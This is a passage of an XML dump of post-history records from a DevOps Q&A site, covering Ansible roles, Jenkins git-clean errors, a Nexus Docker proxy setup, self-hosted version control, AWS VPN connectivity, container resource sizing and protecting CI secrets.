the Object Oriented analogy. A role is like a class. The _usage_ of that role, applied in a playbook, is like the _instantiation_ of a class into an _object_. If you consider object-oriented programming useful, you will consider object-oriented infrastructure provisioning useful.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;For me, however it comes down to **testing**. A playbook is _tactical_ and is useful in _specific situations_. A good role is _strategic_ and is written to solve general problems. Since _good_ roles are modular, they should contain unit tests for various scenarios to prove to the downstream user that they do indeed solve the more general problem, as well as making it clear what is actually covered in the tests. &#xD;&#xA;&#xD;&#xA;Typically roles should be **maintained**, with proper documentation:&#xD;&#xA;&#xD;&#xA;- what variables do they use ?&#xD;&#xA;- what scenarios are they written for?&#xD;&#xA;&#xD;&#xA;and wide coverage:&#xD;&#xA;&#xD;&#xA;- several base operating systems&#xD;&#xA;- several deployment scenarios (docker, AMIs, bare-metal, _etc_)&#xD;&#xA;&#xD;&#xA;and organise tasks cleanly:&#xD;&#xA;&#xD;&#xA;- use tags&#xD;&#xA;- dynamically import tasks based on execution conditons and user-provided variables&#xD;&#xA;&#xD;&#xA;_etc_.&#xD;&#xA;&#xD;&#xA;In short, I wouldn't consider it a fair comparison to compare a bunch of playbooks with the usage of different roles. When it comes time to refactor your playbooks into something maintainable, you will need roles." ContentLicense="CC BY-SA 4.0" />
  <row Id="28762" PostHistoryTypeId="11" PostId="9614" RevisionGUID="6da197aa-d014-46d2-959a-e932ae45513b" CreationDate="2019-10-30T17:36:27.943" UserId="40" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:354,&quot;DisplayName&quot;:&quot;Bruce Becker&quot;},{&quot;Id&quot;:40,&quot;DisplayName&quot;:&quot;Pierre.Vriens&quot;}]}" />
  <row Id="28763" PostHistoryTypeId="2" PostId="9623" RevisionGUID="b777ad74-8067-43fd-90ef-121245969873" CreationDate="2019-10-30T17:37:18.627" UserId="7646" Text="I have my Jenkins build configured to &quot;Clean before Checkout&quot; for its git source:&#xD;&#xA;&#xD;&#xA;    Job Config &gt; Source &gt; git &gt; Behaviours &gt; Clean before checkout&#xD;&#xA;&#xD;&#xA;This results in&#xD;&#xA;&#xD;&#xA;    Resetting working tree&#xD;&#xA;&#xD;&#xA;    git reset --hard # timeout=10&#xD;&#xA;    git clean -fdx # timeout=10&#xD;&#xA;&#xD;&#xA;Before the job begins.&#xD;&#xA;&#xD;&#xA;This errors out with&#xD;&#xA;&#xD;&#xA;    stderr: warning: failed to remove web/static/node_modules/.../fonts/google-fonts: Directory not empty&#xD;&#xA;&#xD;&#xA;If I re-run the job (simply replay), I get the same error.&#xD;&#xA;&#xD;&#xA;If I re-run it again, git clean works fine and the job finishes with success in the end.&#xD;&#xA;&#xD;&#xA;If I start it again it errors out 2 times again until it works at the third time. This is always the case.&#xD;&#xA;&#xD;&#xA;What might be going on here?" ContentLicense="CC BY-SA 4.0" />
  <row Id="28764" PostHistoryTypeId="1" PostId="9623" RevisionGUID="b777ad74-8067-43fd-90ef-121245969873" CreationDate="2019-10-30T17:37:18.627" UserId="7646" Text="Jenkins Pipeline - Clean before checkout - git clean -fdx &quot;failed to remove: Directory not empty&quot;" ContentLicense="CC BY-SA 4.0" />
  <row Id="28765" PostHistoryTypeId="3" PostId="9623" RevisionGUID="b777ad74-8067-43fd-90ef-121245969873" CreationDate="2019-10-30T17:37:18.627" UserId="7646" Text="&lt;jenkins&gt;&lt;jenkins-pipeline&gt;&lt;git&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="28766" PostHistoryTypeId="2" PostId="9624" RevisionGUID="81310a3a-97b0-4280-b598-4a931167c285" CreationDate="2019-10-30T17:49:55.050" UserId="17913" Text="**The problem:**&#xD;&#xA;&#xD;&#xA;An organization is developing a solution that contains&#xD;&#xA;&#xD;&#xA;	a web application project&#xD;&#xA;	class library projectS&#xD;&#xA;You manage a continuous integration pipeline for the application.&#xD;&#xA;&#xD;&#xA;Each time code is checked in, you must&#xD;&#xA;&#xD;&#xA;	build both debug and release configurations in parallel&#xD;&#xA;&#xD;&#xA;*The most recent build has compile errors for the release configuration but not for the debug configuration.&#xD;&#xA;Developers confirm they have tested the release configuration correctly works on their devices.*&#xD;&#xA;&#xD;&#xA;**QUESTION: What is the reasons for the build issues? (SELECT ONLY ONE)**&#xD;&#xA;&#xD;&#xA;(i know &quot;what IS the reasonS is just unfair, but it's as it is!!)&#xD;&#xA;&#xD;&#xA;**o** The parallel builds caused contention issues for shared solution files.&#xD;&#xA;&#xD;&#xA;**o** The web application references assemblies from the debug folder of the class libraries debug.&#xD;&#xA;&#xD;&#xA;**o** A developer set their configuration to debug in Visual Studio.&#xD;&#xA;_________________________________________________________&#xD;&#xA;&#xD;&#xA;For me is B.&#xD;&#xA;&#xD;&#xA;NOT A, because you can use MSBuild Task's BuildInParallel option.&#xD;&#xA;&#xD;&#xA;NOT C, because developerS confirm THEY have tested the RELEASE config (ON THEIR DEVICES)&#xD;&#xA;________________________________________________________&#xD;&#xA;Can you help me, please?&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="28767" PostHistoryTypeId="1" PostId="9624" RevisionGUID="81310a3a-97b0-4280-b598-4a931167c285" CreationDate="2019-10-30T17:49:55.050" UserId="17913" Text="Last Question on CI-CD edx.org Final Exam" ContentLicense="CC BY-SA 4.0" />
  <row Id="28768" PostHistoryTypeId="3" PostId="9624" RevisionGUID="81310a3a-97b0-4280-b598-4a931167c285" CreationDate="2019-10-30T17:49:55.050" UserId="17913" Text="&lt;continuous-integration&gt;&lt;azure-devops&gt;&lt;configuration&gt;&lt;builds&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="28769" PostHistoryTypeId="2" PostId="9625" RevisionGUID="8e460556-6f4d-45c9-8868-b614a6cbd026" CreationDate="2019-10-30T18:44:33.263" UserId="15792" Text="To expand on Richard's excellent answer, load testing and logging can help as well:&#xD;&#xA;&#xD;&#xA; - Logging can help with monitoring, dashboards, and alerts.  However, to properly set this up your services will need to properly log when resources are becoming an issue.  If you already have this then you can make a more informed guess at the resources that will be needed.&#xD;&#xA; - Load testing can help you determine if your limits are reasonable for the load you anticipate.  While you may be able to run with a small set of users, load testing can help determine the cost/benefit of increasing your cpu/memory.  Please note that if you are using a cloud provider you often need to contact them before performing this type of testing (e.g. [see AWS's policy][1]).&#xD;&#xA;&#xD;&#xA;By using these two items you can hopefully make a better educated guess and perform more targeted testing.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://aws.amazon.com/ec2/testing/" ContentLicense="CC BY-SA 4.0" />
  <row Id="28770" PostHistoryTypeId="2" PostId="9626" RevisionGUID="ec20ce02-3bcf-4236-90e1-d10b7e5d4a92" CreationDate="2019-10-30T18:56:48.690" UserId="15792" Text="Both Azure and AWS will have any container images built off their network pushed to their repositories using https which will encrypt the transfer (e.g. [AWS ECR encryption][1]).  Both of these providers offer ways to encrypt the transfer of data into their non-container storage solutions (often via https) and then offer ways to encrypt the data at rest.  Once it is on the cloud provider deploying to k8s can all be done securely within their servers.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://aws.amazon.com/ecr/features/" ContentLicense="CC BY-SA 4.0" />
  <row Id="28771" PostHistoryTypeId="2" PostId="9627" RevisionGUID="cb095956-1bd5-4626-bc51-b9b59e78669c" CreationDate="2019-10-30T18:56:56.473" UserId="7646" Text="In Nexus, go to the Admin Backend.&#xD;&#xA;&#xD;&#xA;Create a blob store if you haven't already. Guidance can be found here: https://help.sonatype.com/repomanager3/configuration/repository-management#RepositoryManagement-BlobStores&#xD;&#xA;&#xD;&#xA;Once you have a blob store, continue like so:&#xD;&#xA;&#xD;&#xA;Choose &quot;Repositories&quot;, hit &quot;Create Repository&quot;. Choose &quot;docker (proxy)&quot; as the recipe.&#xD;&#xA;&#xD;&#xA;Give it any name (for example &quot;docker-hub&quot;).&#xD;&#xA;&#xD;&#xA;Under &quot;Remote storage&quot; enter `https://registry-1.docker.io`.&#xD;&#xA;&#xD;&#xA;As &quot;Docker Index&quot; select `Use Docker Hub`.&#xD;&#xA;&#xD;&#xA;Select a blob store for it (which you have created above).&#xD;&#xA;&#xD;&#xA;Hit &quot;Create repository&quot;. No more configuration is needed for the proxy repo.&#xD;&#xA;&#xD;&#xA;Next up: A group repository, from which you will pull:&#xD;&#xA;&#xD;&#xA;Go back to &quot;Repositories&quot; and hit &quot;Create repository&quot; again. This time select &quot;docker (group)&quot;.&#xD;&#xA;&#xD;&#xA;Call it anything you like (for example &quot;docker-group&quot;).&#xD;&#xA;&#xD;&#xA;For &quot;HTTPS&quot; enter any port you like. (we have 10500)&#xD;&#xA;&#xD;&#xA;For blob store select any blob store (for example the one you have created above).&#xD;&#xA;&#xD;&#xA;Under &quot;Group&quot; select for &quot;member repositories&quot; the repository you have created above.&#xD;&#xA;&#xD;&#xA;You can also add a &quot;docker (hosted)&quot; repository as well if you have one set up. (I will explain later)&#xD;&#xA;&#xD;&#xA;Hit &quot;Create repository&quot;.&#xD;&#xA;&#xD;&#xA;Now open your Docker cli and do a pull of some Docker Hub image but don't pull it from Docker Hub, pull it through the HTTPs endpoint of your docker (group) repo that you have created above like so:&#xD;&#xA;&#xD;&#xA;    $ docker pull my.repository.com:10500/phpmyadmin/phpmyadmin&#xD;&#xA;&#xD;&#xA;This will create a pull request to your Nexus OSS, which will proxy the request to Docker Hub. The image from Docker Hub will be cached in your Nexus and will be delivered to you.&#xD;&#xA;&#xD;&#xA;After pulling browse your docker (proxy) repo that you have created above and check the images inside. You will find a phpmyadmin/phpmyadmin inside (or any other image you have checked out) with a current timestamp.&#xD;&#xA;&#xD;&#xA;Hope that helps!" ContentLicense="CC BY-SA 4.0" />
  <row Id="28772" PostHistoryTypeId="2" PostId="9628" RevisionGUID="fe2f6dde-973d-4a2e-93b9-3e7187f53dac" CreationDate="2019-10-30T18:59:56.233" UserId="4083" Text="An example will be maybe worth a thousand words:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;$ sudo apt install git&#xD;&#xA;$ ssh 192.168.0.110&#xD;&#xA;kub@host:~$ git init --bare repo1 &#xD;&#xA;Initialized empty Git repository in /home/kub/repo1/&#xD;&#xA;kub@host:~$ logout&#xD;&#xA;Connection to 192.168.0.110 closed.&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Voila, We already posses a self-hosted version control system. Let's use it as an example client:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;$ git clone 192.168.0.110:repo1 /tmp/r&#xD;&#xA;Cloning into '/tmp/r'...&#xD;&#xA;```&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="28773" PostHistoryTypeId="5" PostId="9621" RevisionGUID="d7e9c500-0e38-4327-b0ba-8c4097fa1204" CreationDate="2019-10-30T19:14:28.727" UserId="17910" Comment="added 287 characters in body" Text="It's a best practice to develop Ansible Playbooks with reusable roles.&#xD;&#xA;&#xD;&#xA;From what I've seen, people end up putting all their roles into a single complex files anyways.  So it doesn't really fix the problem there.  I've read they can be split into multiple files, but now there's more to manage and it's no better than just writing multiple playbooks.&#xD;&#xA;&#xD;&#xA;Especially considering you can reuse playbooks and tie them together with an Ansible Tower Workflow, I'm not seeing the benefit of including an additional layer of abstraction and complexity for roles.&#xD;&#xA;&#xD;&#xA;Can someone tell me if I'm crazy for thinking this?&#xD;&#xA;&#xD;&#xA;**EDIT:**&#xD;&#xA;&#xD;&#xA;I've had some more thoughts after reading Bruce's answer.&#xD;&#xA;&#xD;&#xA;1.  I don't want to be converting Ansible-Galaxy roles into playbooks, or make people I share with turn playbooks into roles.&#xD;&#xA;&#xD;&#xA;2.  Not everyone I share or collaborate with has access to Tower.&#xD;&#xA;&#xD;&#xA;3.  Testing" ContentLicense="CC BY-SA 4.0" />
  <row Id="28776" PostHistoryTypeId="2" PostId="9629" RevisionGUID="e0810b46-619a-4222-8b05-b44fd1d577fe" CreationDate="2019-10-31T00:29:58.863" UserId="17920" Text="Using `/p` switch didn't work for my. However `-p` works just fine&#xD;&#xA;```&#xD;&#xA;dotnet build -p:Version=1.2.3.4&#xD;&#xA;```&#xD;&#xA;You can also apply the same switch to the dotnet pack&#xD;&#xA;```&#xD;&#xA;dotnet pack Yourproject.csproj -p:Version=1.2.3.4&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;look at this page https://docs.microsoft.com/en-us/dotnet/core/tools/dotnet-build#msbuild for details." ContentLicense="CC BY-SA 4.0" />
  <row Id="28777" PostHistoryTypeId="5" PostId="9608" RevisionGUID="bc0aa171-de66-406a-94b3-f1bb7a7f7e83" CreationDate="2019-10-31T06:24:04.550" UserId="354" Comment="Fix formatting and grammar" Text="Got the solution :&#xD;&#xA;&#xD;&#xA;in the inventory file (`/etc/ansible/hosts`) :&#xD;&#xA;&#xD;&#xA;```ini&#xD;&#xA;[host]&#xD;&#xA;192.XXX.XXX.XXX ansible_user=ubuntu1(target hostname) ansible_become_password=XXXXXXXX(target pwd)&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;and in the play we have to set&#xD;&#xA;&#xD;&#xA;```yml&#xD;&#xA;- hosts: host&#xD;&#xA;  become: yes&#xD;&#xA;  tasks:&#xD;&#xA;    -name : Update XYZ app&#xD;&#xA;     script: update.py&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;I have already written a python script for my process so I have giving same script here in .yml" ContentLicense="CC BY-SA 4.0" />
  <row Id="28779" PostHistoryTypeId="2" PostId="9631" RevisionGUID="af68f789-7b6b-47ea-b0d6-407b98ea47e3" CreationDate="2019-10-31T07:52:14.333" UserId="17925" Text="We are trying to automate the deployment process for our application, our application has two components (one hosted on DC, one hosted on AWS). &#xD;&#xA;Now, we are not sure how do we connect the jenkins from our DC to the AWS environment hosted servers using VPN or is there any way by which the connection can be established.&#xD;&#xA;&#xD;&#xA;P.S: We cannot install a new jenkins in the EC2 instance directly and do the deployment there, as we would need to pull the source code for the build to the cloud layer which is not acceptable by our compliance team." ContentLicense="CC BY-SA 4.0" />
  <row Id="28780" PostHistoryTypeId="1" PostId="9631" RevisionGUID="af68f789-7b6b-47ea-b0d6-407b98ea47e3" CreationDate="2019-10-31T07:52:14.333" UserId="17925" Text="DC Jenkins server to AWS servers connection" ContentLicense="CC BY-SA 4.0" />
  <row Id="28781" PostHistoryTypeId="3" PostId="9631" RevisionGUID="af68f789-7b6b-47ea-b0d6-407b98ea47e3" CreationDate="2019-10-31T07:52:14.333" UserId="17925" Text="&lt;jenkins&gt;&lt;amazon-web-services&gt;&lt;vpn&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="28783" PostHistoryTypeId="5" PostId="9610" RevisionGUID="772fa523-9a16-4c35-9893-f038c8ef80c6" CreationDate="2019-10-31T08:41:14.280" UserId="17886" Comment="added 233 characters in body" Text="What is self hosted version control system and how it's different from github.I mean if i use self hosted VCS then where does my code goes, i mean it gets uploaded on the server or it is saved on my local machine. If it uploaded on the server ,then if i reset the computer , will i able to access my code again." ContentLicense="CC BY-SA 4.0" />
  <row Id="28784" PostHistoryTypeId="5" PostId="9610" RevisionGUID="3d4899a6-790d-4627-a756-e1a4c3174f38" CreationDate="2019-10-31T08:45:01.253" UserId="354" Comment="Fix grammar." Text="What is self hosted version control system and how is it different from github? I mean if I use self-hosted VCS then where does my code go? I mean: does it get uploaded to the server, or it is saved on my local machine? If it is uploaded to the server, then if I reset the computer, will I able to access my code again?" ContentLicense="CC BY-SA 4.0" />
  <row Id="28785" PostHistoryTypeId="6" PostId="9610" RevisionGUID="3d4899a6-790d-4627-a756-e1a4c3174f38" CreationDate="2019-10-31T08:45:01.253" UserId="354" Comment="Fix grammar." Text="&lt;github&gt;&lt;distributed-systems&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="28786" PostHistoryTypeId="5" PostId="9612" RevisionGUID="45a7b886-b529-4785-a0e5-5f7f55f8a71b" CreationDate="2019-10-31T08:49:53.737" UserId="354" Comment="Update the answer to address the updated question " Text="Let's take it word by word:&#xD;&#xA;&#xD;&#xA;- **Self**: You or your organisation owns this thing. By contrast, a cloud-based offering by GitHub.com, Azure, GitLab.com, etc (see [this list in wikipedia](https://en.wikipedia.org/wiki/Comparison_of_source-code-hosting_facilities) for a wider list) is not owned by you, but rather the service provider in question. Do not confuse ownership of the _code_ (dictated by it's license -- typically owned by you), with ownership of the service for performing version control on the code.&#xD;&#xA;- **Hosted**: You or your organisation are responsible for _operating_ and _maintaining_ this thing. In some cases, this is exactly the same software (e.g. one can self-host GitLab or run GitHub Enterprise &quot;on premise&quot; in your own datacentre). This means keeping it secure, making any changes to it, serving user requests for change, etc. You are also responsible for some part of the infrastructure necessary to provide this service. This may vary, depending on who you have service provision agreements with, from everything down to the power and networking, or only the last layer of the service (the VCS itself), or anything in between.&#xD;&#xA;- **&quot;version control system&quot;**: anything (software or otherwise... but probably software) which provides the functionality necessary to control versions. Note there is a subtle difference between [Version Control](https://en.wikipedia.org/wiki/Version_control) and [Version Control Software](https://en.wikipedia.org/wiki/List_of_version-control_software), although the meaning is often conflated.&#xD;&#xA;&#xD;&#xA;The term VCS can refer to any version control system, even when it is not applied to software, however in our context, it can be assumed that you are referring to a version control system **applied to software**.&#xD;&#xA;&#xD;&#xA;In other words, a &quot;self-hosted VCS&quot; can be thought of as :&#xD;&#xA;&#xD;&#xA;&gt; A service and all of it's components which is under your own ownership and control, acting as a version control system for software.&#xD;&#xA;&#xD;&#xA;Often, this can take the form of:&#xD;&#xA;&#xD;&#xA;- Base infrastructure (network/power/server)&#xD;&#xA;- operating system&#xD;&#xA;- authentication and authorisation mechanism&#xD;&#xA;- VCS server itself (Git, SVN, _etc_).&#xD;&#xA;&#xD;&#xA;The second part of your question is about how it is different from GitHub. The following contrast can be made:&#xD;&#xA;&#xD;&#xA;1. Functionally there may be differences between what you can do with GitHub an what you can do with your self-hosted VCS. GitHub, as is the case for almost all VCS hosted by third parties (_ie_ **not** hosted by you) goes a few steps further than simply doing version control. There are collaboration tools, identity management, issue tracking, _etc_ built into their service. While this is strictly speaking not part of VCS, it greatly improves the experience of using one, almost to the point where doing version control without them feels impossible.&#xD;&#xA;1. GitHub owns and operates the service. You may make suggestions to change their service, API, _etc_, and perhaps even contributions to their open source products, but you do not own the service. It is provided to you based on the SLA for the offering that you choose. You cannot make your own changes to it. This is overall a very good thing, unless you are in the business of providing the VCS itself -- but chances are that you just want to _use_ the service, not compete with it.&#xD;&#xA;&#xD;&#xA;Update to answer the edited question:&#xD;&#xA;&#xD;&#xA;&gt; does it get uploaded to the server, or it is saved on my local machine? If it is uploaded to the server, then if I reset the computer, will I able to access my code again?&#xD;&#xA;&#xD;&#xA;You are conflating two issues here: self-hosting and **distributed version control**. Of course, if you self-host _on your own computer_, your run the risk of losing everything if the machine dies. However, of _someone else_ hosts your code in only one place, then you *still* risk losing everything if _their_ machine goes down.&#xD;&#xA;&#xD;&#xA;To adress this (and several other issues related to centralisation of source control), **distributed version control** was invented. A good discussion is [in the git book](https://git-scm.com/book/en/v2/Getting-Started-About-Version-Control)" ContentLicense="CC BY-SA 4.0" />
  <row Id="28787" PostHistoryTypeId="2" PostId="9632" RevisionGUID="fa1576c5-e843-474a-a995-51c0cd9bfac8" CreationDate="2019-10-31T09:04:17.130" UserId="16553" Text="I have a solution on that way :&#xD;&#xA;&#xD;&#xA;    ---&#xD;&#xA;    - hosts: hostnametest&#xD;&#xA;      tasks:&#xD;&#xA;       - name: we take swap space used (megabytes)&#xD;&#xA;         shell : free -m | grep Swap | awk '{print $3}'&#xD;&#xA;         register: swap_used&#xD;&#xA;    &#xD;&#xA;       - name: Turn off swap&#xD;&#xA;         shell: &quot;swapoff -a&quot;&#xD;&#xA;         when: (swap_used.stdout_lines[0] | int) &gt; 100&#xD;&#xA;    &#xD;&#xA;       - name: Turn on swap&#xD;&#xA;         shell: &quot;swapon -a&quot;&#xD;&#xA;         when: (swap_used.stdout_lines[0] | int) &gt; 100&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="28788" PostHistoryTypeId="2" PostId="9633" RevisionGUID="38fa6e8c-1f52-4fc4-9240-68c4a695431a" CreationDate="2019-10-31T11:37:31.840" UserId="8817" Text="Depending on your use-case, you should look either:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;- Establishing a persistent VPN connection to the AWS VPC using the Site-To-Site VPN as described here: https://docs.aws.amazon.com/vpn/latest/s2svpn/VPC_VPN.html &#xD;&#xA;&#xD;&#xA;- Using an OpenVPN client via the build jobs using the client VPN service as  described here https://docs.aws.amazon.com/vpn/latest/clientvpn-admin/what-is.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="28789" PostHistoryTypeId="2" PostId="9634" RevisionGUID="ab323024-a578-4a6a-b956-0a94bf5f24d5" CreationDate="2019-10-31T12:18:36.083" UserId="6600" Text="I am writing an Ansible playbook to deploy services to a clustered environment. There are 3 types of hosts (Application, Load balancer, database). Services are deployed via docker-compose on each host separately.&#xD;&#xA;&#xD;&#xA;Example of playbook to deploy to a database host.&#xD;&#xA;&#xD;&#xA;    - name:           Deploy database node.&#xD;&#xA;      hosts:          databases&#xD;&#xA;      become:         yes&#xD;&#xA;      become_method:  sudo&#xD;&#xA;    &#xD;&#xA;      roles:&#xD;&#xA;      - common&#xD;&#xA;      - zabbix-agent&#xD;&#xA;      - database&#xD;&#xA;      - backup&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;The Ansible play needs to dynamically generate a docker-compose file based on which roles have been invoked on that host. So this example would need to generate a docker-compose which lists these roles.&#xD;&#xA;&#xD;&#xA;**How do i programmatically generate a docker-compose.yml file, based on which roles have been invoked?**&#xD;&#xA;&#xD;&#xA;I have considered:&#xD;&#xA;&#xD;&#xA; * Ansible facts&#xD;&#xA; * Tags&#xD;&#xA; * global boolean variables [yuck]&#xD;&#xA; but none of these seems like the right way to me.&#xD;&#xA;&#xD;&#xA;If there is a better approach to achieving my objective I'm open to any other suggestions too." ContentLicense="CC BY-SA 4.0" />
  <row Id="28790" PostHistoryTypeId="1" PostId="9634" RevisionGUID="ab323024-a578-4a6a-b956-0a94bf5f24d5" CreationDate="2019-10-31T12:18:36.083" UserId="6600" Text="How to programmatically generate docker-compose file?" ContentLicense="CC BY-SA 4.0" />
  <row Id="28791" PostHistoryTypeId="3" PostId="9634" RevisionGUID="ab323024-a578-4a6a-b956-0a94bf5f24d5" CreationDate="2019-10-31T12:18:36.083" UserId="6600" Text="&lt;ansible&gt;&lt;docker-compose&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="28792" PostHistoryTypeId="5" PostId="9620" RevisionGUID="4d09cd1f-022a-4b57-9bdc-1febb8664a79" CreationDate="2019-10-31T13:12:03.597" UserId="397" Comment="Typo" Text="It's a severe problem to solve if you don't know the performance characteristics of the process you are containerising.  There are a couple of approaches you could take that will get you an answer, although you will need to monitor it carefully in production and an adjust the resource limits as required.&#xD;&#xA;&#xD;&#xA; - **Approach #1: Educated Guess** - take a look around at what other people have done to host a specific process, GitHub is an excellent resource for finding Dockerfiles and their associated Helm Charts.  Equally, if someone has done some tests for Virtual Machine sizing, you may be able to derive an answer that is acceptable in the short term.&#xD;&#xA; - **Approach #2: Testing** - my personal preference is to test the component in question:&#xD;&#xA;  - [The Apache Bench][1] is excellent for quick performance tests against HTTP(S) endpoints&#xD;&#xA;  - Tools such as the [MySQL Benchmark][2] tool allow you to test MySQL, many applications have dedicated benchmarking tools.&#xD;&#xA;  - If the software is more complicated you can use tools such as [Artillery][3] or [Gattling][4] to create a performance test suite that you can use to slam the container and find out how it performs.&#xD;&#xA;&#xD;&#xA;Whichever approach you take, you will need to make sure that you have a proper monitoring and dashboarding solution working so that you can actually analyse the behaviour of the containers under load and adjust accordingly.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://httpd.apache.org/docs/2.4/programs/ab.html&#xD;&#xA;  [2]: https://dev.mysql.com/downloads/benchmarks.html&#xD;&#xA;  [3]: https://artillery.io/&#xD;&#xA;  [4]: https://gatling.io/" ContentLicense="CC BY-SA 4.0" />
  <row Id="28795" PostHistoryTypeId="2" PostId="9635" RevisionGUID="17648d47-0c7d-4f6e-9f60-c1dc0886c22b" CreationDate="2019-10-31T13:30:12.070" UserId="397" Text="I would suggest that the answer is most likely to be B, although it may be A under some circumstances.&#xD;&#xA;&#xD;&#xA; - **A**: You can and should use `BuildInParalell` however sometimes this causes a race condition, for example, it could be that a developer omits the `$(Configuration)` in an output path meaning that both the `Debug` and the `Release` build output a file to the same location, then it just becomes a fight to see which build actually gets and locks that file first.&#xD;&#xA;&#xD;&#xA; - **B**: If a developer was referencing binaries in the `Debug` folder **and it was a clean checkout** then those assemblies wouldn't exist, although if they are being built in parallel on the same machine they, in fact, might exist.&#xD;&#xA;&#xD;&#xA; - **C**: If a developer sets their configuration to Debug (or anything else for that matter) it will impact builds on **their** machine assuming you use the `/p:Configuration=Release` option on the `msbuild` command line on the CI/CD environment.&#xD;&#xA;&#xD;&#xA;It's entirely possible that Azure DevOps or any other CI/CD tool could be configured to rebuild each configuration in a clean container, thus meaning Release and Debug are actually being compiled in their own sandboxed filesystem thus can't possibly conflict with each other.&#xD;&#xA;&#xD;&#xA;This isn't a great question for an exam because there is not quite enough information to differentiate between options A and B.  Some exams do intentionally do this though, and often your best bet is to select the **least wrong** answer in which case I would select B." ContentLicense="CC BY-SA 4.0" />
  <row Id="28796" PostHistoryTypeId="2" PostId="9636" RevisionGUID="24df9ae2-1936-4829-9a6f-eb750eb78a7e" CreationDate="2019-10-31T15:31:36.530" UserId="397" Text="You essentially have three threats here:&#xD;&#xA;&#xD;&#xA;1. Someone could modify `.travis-ci` and use that to exfiltrate the unencrypted key material.&#xD;&#xA;2. You could accidentally check-in or publish the decrypted key material as part of your release process.&#xD;&#xA;3. Someone could attempt to attack the encrypted key-material directly; this is very unlikely given modern practice and current computing power.&#xD;&#xA;&#xD;&#xA;The challenge of secret management is common in open source projects; one approach I have taken in the past is to have a second &quot;deploy&quot; stage in a private repository and pipeline.  A private repository and pipeline, then ring-fences the sensitive data from malicious actors entirely, protecting yourself from 1 and 3.  You can safeguard against two by whitelisting files that can be checked in to decrease the probability of making a mistake.&#xD;&#xA;&#xD;&#xA;Finally, an approach that can be used to increase the detectability of an attack is to store the key in [AWS CloudHSM][1], [Google Cloud HSM][2] or [Azure KeyVault][3] with the goal of marking the private key as *non-exportable* and then handing off any encrypt, wrap or sign requests to the cloud.  This means even if the credentials for the HSM/KeyVault do get exfiltrated you know every time they are used to sign something and can effectively revoke access to the key entirely.  Unfortunately, there doesn't seem to be any way of doing this with SSH keys at the moment, however, it works will with code-signing certificates.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://aws.amazon.com/cloudhsm/&#xD;&#xA;  [2]: https://cloud.google.com/hsm/&#xD;&#xA;  [3]: https://azure.microsoft.com/en-gb/services/key-vault/" ContentLicense="CC BY-SA 4.0" />
  <row Id="28799" PostHistoryTypeId="2" PostId="9637" RevisionGUID="23eda1fe-df38-4561-a3d9-ebe43850ba0c" CreationDate="2019-10-31T16:44:34.247" UserId="17940" Text="I'm currently working at a small company where we've had a lot of issues being on the same page with entity framework migrations and local databases. I want to start incorporating containers in hopes of standardizing everyone's development environment. Ideally, I'd like a disposable database that can be modeled using Entity Framework code first, seed data into it, then disposed of once the testing is done. What resources are there to help get me started and what other things should I know about standardizing the development environment. Thank you!" ContentLicense="CC BY-SA 4.0" />
  <row Id="28800" PostHistoryTypeId="1" PostId="9637" RevisionGUID="23eda1fe-df38-4561-a3d9-ebe43850ba0c" CreationDate="2019-10-31T16:44:34.247" UserId="17940" Text="How to incorporate containers into a standardized dev environment?" ContentLicense="CC BY-SA 4.0" />
  <row Id="28801" PostHistoryTypeId="3" PostId="9637" RevisionGUID="23eda1fe-df38-4561-a3d9-ebe43850ba0c" CreationDate="2019-10-31T16:44:34.247" UserId="17940" Text="&lt;docker&gt;&lt;databases&gt;&lt;sql&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="28802" PostHistoryTypeId="5" PostId="9634" RevisionGUID="a88e17ce-5caa-4141-8ff7-f7d13b677c31" CreationDate="2019-10-31T16:44:58.127" UserId="6600" Comment="replied to questions" Text="I am writing an Ansible playbook to deploy services to a clustered environment. There are 3 types of hosts (Application, Load balancer, database). Services are deployed via docker-compose on each host separately.&#xD;&#xA;&#xD;&#xA;Example of playbook to deploy to a database host.&#xD;&#xA;&#xD;&#xA;    - name:           Deploy database node.&#xD;&#xA;      hosts:          databases&#xD;&#xA;      become:         yes&#xD;&#xA;      become_method:  sudo&#xD;&#xA;    &#xD;&#xA;      roles:&#xD;&#xA;      - common&#xD;&#xA;      - zabbix-agent&#xD;&#xA;      - database&#xD;&#xA;      - backup&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;The Ansible play needs to dynamically generate a docker-compose file based on which roles have been invoked on that host. So this example would need to generate a docker-compose which lists these roles.&#xD;&#xA;&#xD;&#xA;**How do i programmatically generate a docker-compose.yml file, based on which roles have been invoked?**&#xD;&#xA;&#xD;&#xA;I have considered:&#xD;&#xA;&#xD;&#xA; * Ansible facts&#xD;&#xA; * Tags&#xD;&#xA; * global boolean variables [yuck]&#xD;&#xA; but none of these seems like the right way to me.&#xD;&#xA;&#xD;&#xA;If there is a better approach to achieving my objective I'm open to any other suggestions too.&#xD;&#xA;&#xD;&#xA;**Edit:**&#xD;&#xA;&#xD;&#xA;&gt; Can you explain what is in the container here?&#xD;&#xA;&#xD;&#xA; &#xD;&#xA;'common' role currently installs Docker and docker-compose onto the target host.&#xD;&#xA;'database' starts a mariadb container.&#xD;&#xA;'zabbix-agent' installs..well, zabbix agent on the host.&#xD;&#xA;'backup' copies some 